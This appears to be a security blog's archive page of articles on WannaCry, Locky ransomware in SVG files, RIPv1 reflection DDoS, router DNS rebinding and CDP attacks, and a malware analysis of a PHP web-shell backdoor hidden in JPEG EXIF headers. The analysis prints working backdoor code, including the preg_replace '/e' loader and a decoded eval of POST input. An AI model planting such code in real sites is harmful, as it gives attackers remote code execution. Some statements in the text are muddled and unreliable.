Category Archives: Exploits

WannaCry Ransomware : What is it and How to Protect against it

 

The WannaCry ransomware burst into the spotlight over the weekend as reports of infections streamed in from around the globe. This has affected systems in more than 150 countries with more than 230,000 computers infected.

What is Ransomware?

Ransomware is a type of malicious software(computer virus) that encrypts and blocks access to data until a ransom is paid. It usually spreads via spam emails and malicious download links and displays a message requesting payment to decrypt it.

 

The WannaCry ransomware A.K.A. Wanna Decryptor, uses a leaked NSA exploit Eternal Blue that targets Windows SMB service which can be used to hijack computers running unpatched, vulnerable Microsoft Windows operating system.

The ransomware that has affected systems in more than 150 countries recently. It leverages Social Engineering/Spear Phishing as their attack vector by sending some malicious links or a PDF file, which when clicked, installs the ransomware. Once installed, it scans the entire network for other vulnerable devices and spreads.

Follow these steps to prevent infection:

  • Update your system.
  • Upgrade to windows 10 if you are using older versions. Keep it updated.
  • If you are using older versions of windows , apply these patches immediately.
  • Enable Firewall, block access to SMB ports – TCP – 137,139 and 445 and UDP – 137 and 138.

https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

  • SMB is enabled by default on Windows. Disable SMB service –

https://support.microsoft.com/en-in/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012

  • Have a pop-up blocker running on your web browser.
  • Update your antivirus.
  • Backup your data regularly.
  • Do not open any attachments from any Unknown sources.

 

WHAT IF YOU ARE INFECTED?

Never Pay ransom.

Its upto you whether to pay the ransom or not. There is no guarantee that you will get your files back.

Malicious Image files on Facebook spreading Locky Ransomware

 

Security researchers have discovered ransomwares being spread by forcibly exploiting vulnerabilities in  social networking sites including Facebook and LinkedIn. It is found that the malware is being spread through Scalable Vector Graphics (.SVG) files on Facebook Messenger. SVG is XML-based file. So it can embed content such as JavaScript. This malware manages to bypass Facebook’s file extension filter. The malware being distributed is the locky ransomware.

In the case of the Locky ransomware, all files on the affected computer are encrypted until a ransom is paid.

When the file is opened, users were prompted to install an extension. This extension downloads the Nemucod downloader which can spread the malware, which then encrypts the files.

Users should never download attachments from people they don’t know, or open those attachments with unusual file extension such as svg, js or hta. If the extension is downloaded, do not open them.

Video Demonstration of the Attack

AT&T and BellSouth Passing Out Routers that enable DDoS Attacks

One of the more interesting TCP-IP vulnerabilities is its ability to guarantee the location of where a packet is coming from.  RIP is an essential component of a TCP/IP network.  RIP is the Routing Information Protocol which is used to distribute routing information within networks, such as shortest-paths, and advertising routes out from the local network, (CHAMBERS, DOLSKE, & IYER, n.d.).  The flaw in RIP is that it doesn’t have built in authentication much like TCP/IP.  This attack is significant because RIP attacks change where the data may go to unlike common attacks that change where data has come from. When an attacker is able to compromise RIP addresses and send them from anywhere in the world this poses a huge security flaw.  Attackers can forge RIP packets claiming that they are another host and they have the fastest route or path out of the network.  This is troubling as there is a higher level DDOS attack that uses the RIPv1 protocol called Reflection Amplification Attacks. (Mimoso, 2015) says, “Reflection attacks happen when an attacker forges its victim’s IP addresses in order to establish the victim’s systems as the source of requests sent to a massive number of machines.”  Because the attacker is in control of the RIP it can send many requests on behalf of a network.  The recipients of the request issue an overwhelming flood of responses back to the victim’s network thus crashing that network, (Mimoso, 2015).

I chose this vulnerability because it’s very current in the landscape of DDOS attacks and Threat post by Kapersky Labs suggest that this is only going to grow into the coming years.  The easiest way to stop this is to use routers with RIPv2 and above.  Unfortunately, a large number of the routers that have been compromised using this deprecated technology comes from AT&T and BellSouth and they are regularly distributed in the United States.

References

CHAMBERS, C., DOLSKE, J., & IYER, J. (n.d.). tcp/ip security – department of computer and information science. Retrieved from http://www.linuxsecurity.com/resource_files/documentation/tcpip-security.html

Mimoso, M. (2015, July 1). ripv1 reflection amplification ddos attacks | threatpost | the first stop for security news. Retrieved from https://threatpost.com/attackers-revive-deprecated-ripv1-routing-protocol-in-ddos-attacks/113582/

The latest development in Router Attacks. – What you need to know about people attacking your router.

Router Attacks – DNS Redirect

Routers are vulnerable to different types of attacks.  The first attack is the DNS Rebinding and Cross-Site Request Forgery attack.  This attack was demonstrated at the 2010 DEFCON as a modern attack against home routers.  The attack is fairly intricate in that it uses multiple parts in the actual attack.  The attack works in three parts.  The first part of the attack the attacker needs to be able to modify the DNS records.  Next the attacker must be able to create various pages on the target domain and link these with DNS.  The attack happens when the victim visits the malicious site.  Where the attacker obtains a user’s public IP address.  Then the attacker quickly creates a subdomain on the attack domain with two “A records”.  With one a record pointing to the server and the other points to the public IP address of the victim’s router, the web server redirects the victim’s browser to a page with JavaScript code that will execute the CSRF portion of the attack, (Trend Labs Security, 2010).   After both these steps are done the attacker has control of the Web Server meaning the attacker can send TCP reset (RST) commands on demand.  Finally, the browser begins to execute the JavaScript code which tries to connect to the temp subdomain, the attacking server will reply with an RST command and end the session.  The user’s system will try the other IP address that it knows about for the hostname, which happens to be the external IP address of the victim’s router, (Trend Labs Security, 2010).  Results are then channeled to the attacking server via a portal.  The attacker can then try different credential until they have success and fully connects.

 

DNS Redirect Prevention

There are a few ways to protect a router from this flavor of attack.  The first and foremost make sure one uses HTTPS and disable the HTTP console if this is a configuration setting.  Always use strong passwords for routers.  Remove factory default passwords always.  Also adding a firewall rule preventing devices on the local network from sending packets to the IP block that your public IP address is a member of.  Also keeping your firmware up to date is a huge help.  Using a No Script plugin can also protect against malicious JavaScript since this is a part of the attack.

 

CDP Attacks

Another attack happens to be in the Cisco Discovery Protocol which can be used by default with all cisco devices.  First off this protocol is enabled by default.  CDP contains information about the network device such as the software version, IP address, platform, capabilities, and the native VLAN, (Popeskic, 2011).  This information is also sent in complete clear text.  When this information is sniffed off of the VLAN internet traffic an attacker can use this to find other exploits to orchestrate an attack such as Denial of Service (DoS) attack.  CDP is also unauthenticated meaning an attacker can craft fraudulent CDP packets and have them received by the attacker’s directly connected Cisco device.  If an attacker can get access to the router via SNMP or Telnet an attacker can find the entire topology of a network at Layer 2 and Layer 3.  Which also includes IOS levels, router and switch model types, and IP addressing schema.

 

CDP Prevention

The way of preventing against the CDP attack is to simply disable the default configuration which allows this on the router.  Most administrators need to not just focus on disabling on a single interface which allows the CDP table to stay populated, but to disable on the entire device.  (Redscan, 2013) says, “CDP can be useful and, if it can be isolated by not allowing it on user ports, then it can help make the network run more smoothly.”

 

router

Figure 1. Warning message displayed on HTTP website from infected router.

 

References

Popeskic, V. (2011, December 16). cdp attacks – cisco discovery protocol attack. Retrieved from https://howdoesinternetwork.com/2011/cdp-attack

Redscan. (2013, December 19). Ten top threats to vlan security – redscan. Retrieved from https://www.redscan.com/news/ten-top-threats-to-vlan-security/

TrendLabs Security. (2010, August 10). trend labs security intelligence blog protecting your router against possible dns rebinding attacks – trend labs security intelligence blog. Retrieved from http://blog.trendmicro.com/trendlabs-security-intelligence/protecting-your-router-against-possibl-dns-rebinding-attacks/

TrendLabs Security. (2015, May 20). trend labs security intelligence blog new router attack displays fake warning messages – trend labs security intelligence blog. Retrieved from http://blog.trendmicro.com/trendlabs-security-intelligence/new-router-attack-displays-fake-warning-messages/

Checkout the malware in a JPEG

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

When we look at the bun.jpg file, we find the second part of the backdoor:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

The file starts normally with the common headers, but in the “Make” header it has a strange keyword: “/.*/e”. That’s the exact modifier used by preg_replace to execute (eval) whatever is passed to it.

Now things are getting interesting…

If we keep looking at the EXIF data, we can see the “eval ( base64_decode” hidden inside the “Model” header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif[‘Make’] and $exif[‘Model’] for what is in the file, we get the final backdoor:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
Steganography Malware

Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.